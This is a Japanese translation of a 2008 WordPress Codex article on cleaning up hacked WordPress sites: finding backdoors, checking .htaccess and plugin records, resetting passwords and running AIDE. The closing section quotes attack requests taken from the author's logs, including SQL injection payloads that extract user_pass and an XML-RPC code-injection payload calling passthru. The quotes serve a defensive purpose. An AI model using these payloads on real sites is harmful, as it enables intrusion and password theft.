- 赤色のリンクは、まだ日本語Codexに存在しないページ・画像です。英語版と併せてご覧ください。(詳細)
WordPress サイトが被害を受けたら
出典: Did your WordPress site get hacked? by Donncha Ó Caoimh, 2008年6月8日 著者の許可を得て転載
数週間前の WordPress サイトハッキングの騒ぎを覚えていますか? 誰もが慌ててアップグレードを始めました。あなたもアップグレードしましたよね? していない? 必ずハックされますよ、今、ハックされてなくても。時間の問題。
で、すぐにアップグレードした方。残念、遅すぎました。世間より早くセキュリティ問題を知ったハッカーは一目散に WordPress のブログやサイトに侵入するや、ユーザー名とパスワードを盗み、バックドアスクリプトを埋め込んで、後でアクセスできるようにしているのでした。 まじめにアップグレードしたブログでもハックされるのはこんな理由です。ハッカーはあなたより素早いのです。
先週、ハッカーが活動を再開しました。WordPress のゼロデイアタックではありません。現時点で WordPress Version 2.5.1 にセキュリティ脆弱性の証拠はありません。ハッカーはもう一度古い脆弱性を使用していて、今回はリダイレクトして Google からサイトに攻撃しています。攻撃は、代わりに your-needs.info や anyresult.net にリダイレクトされています。
もしもハックされたら
- WordPress の最新バージョンにアップグレードしてください。
- システムにバックドアやマルウエアコードがないことを確認してください。ハッカーはスクリプトを残したかもしれませんし、既存のファイルを変更したかもしれません。テーマのファイルも調べてください。
- アップグレードにパスワードを更新し、ハッカーが他のユーザーを作っていないことを確認してください。
- wp-config.php を編集し、SECRET_KEY 定義を作成してください。以下の様な形式ですが同じキーは使わないでください。なぜなら...、自明ですよね?
define(‘SECRET_KEY’, ‘1234567890’ );
隠されたコード
ハッカーにはハックを隠す無数の方法があります。
- もっとも簡単な方法は PHP スクリプトの中に独自のコードを隠す方法です。WordPress サイトのディレクトリやファイルが webserver から書き込み可能なら、ハッカーは自由自在にコードを埋め込めます。wp-blog-header.php は格好のターゲットですが、テーマのファイルもおいしいですね。WordPress をアップグレードしてもテーマファイルは更新されないかもしれませんから。奇妙なコード、たとえば eval() コマンドや base64_decode() を使用したコードがないか、もう一度確認してください。詳細については こちらの記事 を参照してください。
別のハックでは、PHP ファイルに 別のコード を埋め込みます。PHP スクリプト内で「k1b0rg」または「keymachine.de」を検索し、見つかれば関連のコードを除去してください。
- サイトのルートにあるファイル「.htaccess」を調べてください。何も編集していなければ、次のようなコードのはずです。
# BEGIN WordPress <ifmodule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </ifmodule> # END WordPress
アップローダーとの絡みで、次のようなコードを含む場合もあります。
<ifmodule mod_security.c> <files async-upload.php> SecFilterEngine Off SecFilterScanPOST Off </files> </ifmodule>
- ハッカーはまた PHP コードを JPEG ファイルに見せかけてアップロードディレクトリにアップロードし、有効化されたプラグインのリストに アップロードしたファイルを追加します。見つけるのは難しいのですが、不可能ではありません。
- PHPMyAdmin を開き、サイトのオプションテーブルに移動し、レコード active_plugins を見つけてください。
- レコードを編集します。長い行ですが、ずーっとスクロールしていき、../uploads/2008/05/04/jhjyahjhnjnva.jpg のようなエントリーを探します。文字列を削除し、この配列レコードのシリアライズされた配列情報を削除したことを確認してください。書いている意味が分からなければ active_plugins レコードを削除し、すべてのプラグインを再有効化してください。
- アップロードディレクトリで JPG ファイルを調べ、あれば削除します。
- Youtube のビデオで手順が紹介されています。rss_* データベースレコードまで慌てて削除する必要はないと思いますが、削除しても損はないでしょう。
パスワードを変更する
アップグレードが完了し、クリーンな環境が再びできたら、次の手順にしたがってください。
- システム上のすべてのユーザーのパスワードを変更する。
- ハッカーが再度ログインできるよう、別のユーザーアカウントを追加していないかを確認する。
ハッカーを止める
ハッカーが大きなダメージを与える前に止めさせるには、定期的にバックアップを取得し、侵入検知システム (Intrusion Detection System, IDS) をインストールします。
- わたしは Backuppc を使用して、毎晩、すべてのサーバーをバックアップしています。また毎日 簡単な MySQL バックアップスクリプトを使用して、データベースをダンプしています。
- 最初に浮かぶ IDS は Tripwire ですが、ほかにもあります。最近、サーバー上の変更のトラックに AIDE をインストールしました。毎日、変更のあったファイルのレポートが送られてきます。仮にハッカーがスクリプトを変更したり、マルウエアコードをアップロードしても、その日にはメールを受け取ります。細かな調整は必要ですが Debian で簡単にインストールできました (恐らく Ubuntu でも Red Hat でも、最悪 Gentoo であっても同じくらい簡単でしょう)。
# apt-get install aide # vi /etc/aide/aide.conf.d/88_aide_web # /usr/sbin/aideinit
上の構成ファイルの中に、次のコードを含めています。
/home/web/ Checksums !/home/www/logs/.* !/home/web/public_html/wp-content/cache/.* !/home/web/.*/htdocs/wp-content/cache/.*
これで AIDE は Webサーバーフォルダーでの変更をトラックしますが、logs フォルダー、cache フォルダーは無視します。
アップグレードする
アップグレードしない理由はまったくありません。WordPress は 5 分間インストールで有名ですが、メンテナンスにはそれなりの時間と労力が必要です。アップグレードが面倒くさかったり、メンテナンス方法が分からないなら、どうして WordPress.com のアカウントでホストしてもらわないのでしょう? 毎月、高々 10$ の広告収入を得たいがために、サイトや、サイト内の記事や、写真や、他のメディアの安全性にかける労力は割に合わないでしょう。この記事は WordPress.com の宣伝ではありませんから、好きなブログサイトでアカウントを作ってもらって構いません。ただし、古い WordPress サイトを放置して、ハッカーに好き勝手させるのは止めてください。
友を助ける
巡回しているブログのソースコードを見てください。ヘッダーのバージョン番号を見ればすぐに古い WordPress かどうか分かります。コメントを残し、アップグレードするよう勧めてください。バージョン番号は次のような形式です。
<meta name=”generator” content=”WordPress 2.5.1″ /> <!– leave this for stats –>
ハックの実例は?
テスト用のサイトの一つにログオンしてみたところ、あらゆる種類の侵入が試みられていました。攻撃者は無能なボットを使用し、さまざまな種類の攻撃に対し Web サイトが反応するかを試していました。対象のソフトウエアがインストールされているかどうかは関係ありません。ボットは無脳で、何度も戻ってきては、何度も同じ攻撃を仕掛けます。
以下は「ekibastos attack」と呼んでいる攻撃の例です。無数のリクエストが発生しており、調べると定期的に 87.118.100.81 から来ていました。ユーザーエージェント「Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)」を使用していますが、奇妙なことに今日現在 Google ではヒットしません。
1. 最初に攻撃者はダッシュボードにアクセスし、成功したかどうかさえ確認せずに、HEAD リクエストを使用して何度か wp-admin/post.php にアクセスしました。
2. 次に、以下の POST body で wp-admin/admin-ajax.php に POST してきました。
POST: Array ( [cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132; )
3. 失敗すると xmlrpc.php を試しました。
4. 次に スクリプトを POST してきます。これは古いすでに修正済みのバグを狙います。以下はデータのスニペットです。
HTTP_RAW_POST_DATA: <?xml version=”1.0″?> <methodCall> <methodName>system.multicall</methodName> <params> <param><value><array><data> <value><struct> <member><name>methodName</name><value><string>pingback.extensions.getPingbacks</string></value></member> <member><name>params</name><value><array><data> <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value> </data></array></value></member></blockquote>
5. 失敗すると、同様の SQL クエリが繰り返されます。
<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>
6. そして、トラックバックを試します。
URL: /wp-trackback.php?tb_id=1 POST: Array ( [title] => 1 [url] => 1 [blog_name] => 1 [tb_id] => 666666\’ [1740009377] => 1 [496546471] => 1 )
7. 今度は別のトラックバック。
URL: /wp-trackback.php?p=1 POST: Array ( [url] => ekibastos [title] => ekibastos [excerpt] => ekibastos [blog_name] => +AFw-\’)/* [charset] => UTF-7 )
8. 最後に 次の POST リクエストで xmlrpc.php に戻ります。
<?xml version=”1.0″?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>k1b0rg’ icq: 76-86-20</string></value></param> <param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param> <param><value><string>admin</string></value></param> </params> </methodCall>
9. 途中 GET リクエストも試してきました。
GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1 GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1
10. 幸いアップグレードしていましたので、すべての攻撃は失敗しました。
この攻撃は数ヶ月続いており、最近も2日前に攻撃を受けました。これだけ言ってもアップグレードしたり Web サイトを検査する気にならないなら、もうどうなっても知りませんからね。
PS. 完全を期すため、ここにしばしば見られる別の一般的な XMLRPC 攻撃を紹介します。皮肉なことに、この記事を投稿後に 189.3.105.2 からサーバーにこの攻撃を受けました。
<?xml version="1.0"?> <methodCall> <methodName>test.method </methodName> <params> <param> <value><name>','')); echo '______BEGIN______'; passthru('id'); echo '_____FIM_____'; exit;/*</name></value> </param> </params> </methodCall>
修正: Tripwire の URL を修正しました。thanks Callum
PS. もしサイトがハックされたら、WordPress Exploit Scanner を試してください。変更されたファイルや疑いのあるデータベースレコードの探索を試みます。